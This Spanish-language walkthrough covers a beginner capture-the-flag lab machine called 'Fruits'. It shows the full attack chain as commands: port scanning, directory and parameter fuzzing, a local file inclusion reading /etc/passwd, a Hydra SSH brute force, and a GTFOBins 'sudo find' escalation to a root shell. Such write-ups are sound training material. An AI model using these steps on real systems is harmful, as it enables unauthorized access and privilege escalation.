> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/fruits.md).

# Fruits

🔍 Dificultad: Principiante

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.60
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnB0oKbZHs3YlhZ0XAfXE%2Fimagen.png?alt=media&amp;token=e5d9a4bd-8385-4f9d-85e4-c704224addf6" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.60
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fi7m9xDCUvjjLzVc0iDBk%2Fimagen.png?alt=media&amp;token=e4455e2b-1405-48a2-ac11-def5da6acd62" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.60
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJ8dEYlxZ8Uw2QiS5pWKM%2Fimagen.png?alt=media&amp;token=8f93cda9-d277-41db-91ee-2c8323369308" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos una página de frutas para buscarlas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F48HHf1xtvQEIFzk7FfHv%2Fimagen.png?alt=media&amp;token=43a6f6c8-a809-48b9-ae3e-6aa1c17f42b6" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.60/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html -t 100
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoWqMqm9klAqnoOq17pue%2Fimagen.png?alt=media&amp;token=3b05de5b-c485-4456-a8ef-2881d1925711" alt=""><figcaption></figcaption></figure>

Después de realizar una revisión inicial, observamos que al acceder al directorio `/fruits.php`, este aparece en blanco. Esto nos lleva a sospechar que podría tratarse de una vulnerabilidad de inclusión local de archivos (LFI, por sus siglas en inglés). Para confirmar esta hipótesis y explorar posibles parámetros que alteren el comportamiento de la página, decidimos utilizar la herramienta **wfuzz**. El objetivo es identificar parámetros ocultos o no documentados que permitan explotar la vulnerabilidad o arrojar más información sobre el funcionamiento del archivo.

A continuación, ejecutamos **wfuzz** para enumerar parámetros potenciales que puedan estar presentes en la página y desencadenar un comportamiento diferente, lo cual nos ayudará a validar si realmente estamos ante una vulnerabilidad LFI.

```bash
wfuzz -c --hl=1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.60/fruits.php?FUZZ=/etc/passwd
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsznNp77a55I6AZ70M2WO%2Fimagen.png?alt=media&amp;token=76ae33c5-3b43-42fb-b91a-05cdfc4eca23" alt=""><figcaption></figcaption></figure>

Ahora debemos ingresar en el buscador esto:

```bash
http://192.168.1.60/fruits.php?file=/etc/passwd
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuIPDYuWFoLstPjO2OCZ9%2Fimagen.png?alt=media&amp;token=fce14424-c973-4802-8ad2-a2cc13c7a4ba" alt=""><figcaption></figcaption></figure>

Observamos que el comando **file** nos devuelve un resultado exitoso, revelando el contenido del archivo `/etc/passwd`. Esto nos permite identificar los usuarios del sistema. Entre ellos, destaca el usuario **bananaman**, ya que tiene acceso a la shell `/bin/bash`. Este detalle es relevante, ya que indica que **bananaman** es un usuario con permisos de inicio de sesión en el sistema, lo que podría ser útil para futuras acciones de escalada de privilegios o acceso remoto.

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```
hydra -l bananaman -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.60
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **192.168.1.60**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FezBFCtXJ6kQkMfKAf3ft%2Fimagen.png?alt=media&amp;token=c8859124-7d95-4a6f-b3c6-1b1fbe41a714" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **bananaman**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh bananaman@192.168.1.60
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoSGrZe1Qm3FgPlbip6MV%2Fimagen.png?alt=media&amp;token=cf762aab-9630-4447-a305-55936d2c4c7c" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnuziIBD8JIB8WxmEVeSH%2Fimagen.png?alt=media&amp;token=65ccae73-2a7b-49ab-8435-78be64df3125" alt=""><figcaption></figcaption></figure>

Al ejecutar el comando `sudo -l`, observamos que tenemos permisos para ejecutar el comando `find` como el usuario root. Esto indica que podríamos explotar esta configuración para elevar nuestros privilegios. Consultando la web de **GTFOBins**, encontramos que el comando `find` es vulnerable y puede ser utilizado para obtener acceso con privilegios de root.

La secuencia de comandos que nos permite aprovechar esta vulnerabilidad es la siguiente, tomada directamente de [GTFOBins](https://gtfobins.github.io/gtfobins/find/):

```
sudo /usr/bin/find -exec /bin/sh -p \; -quit
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAWc0LcNQR0e9ViaPV66d%2Fimagen.png?alt=media&amp;token=f39302e2-ae79-4c13-a958-aa64f0bee6e0" alt=""><figcaption></figcaption></figure>

Hemos finalizado con éxito **todas las etapas del proceso** y cumplido con todos los **requisitos**.&#x20;

¡Buena suerte en tu búsqueda de las **flags**! Recuerda prestar atención a cada detalle, examinar los archivos y servicios detenidamente, y utilizar todas las herramientas a tu alcance para encontrarlas. ¡La clave está en la perseverancia y en no dejar nada sin explorar! ¡Adelante, hacker! 💻🔍🚀
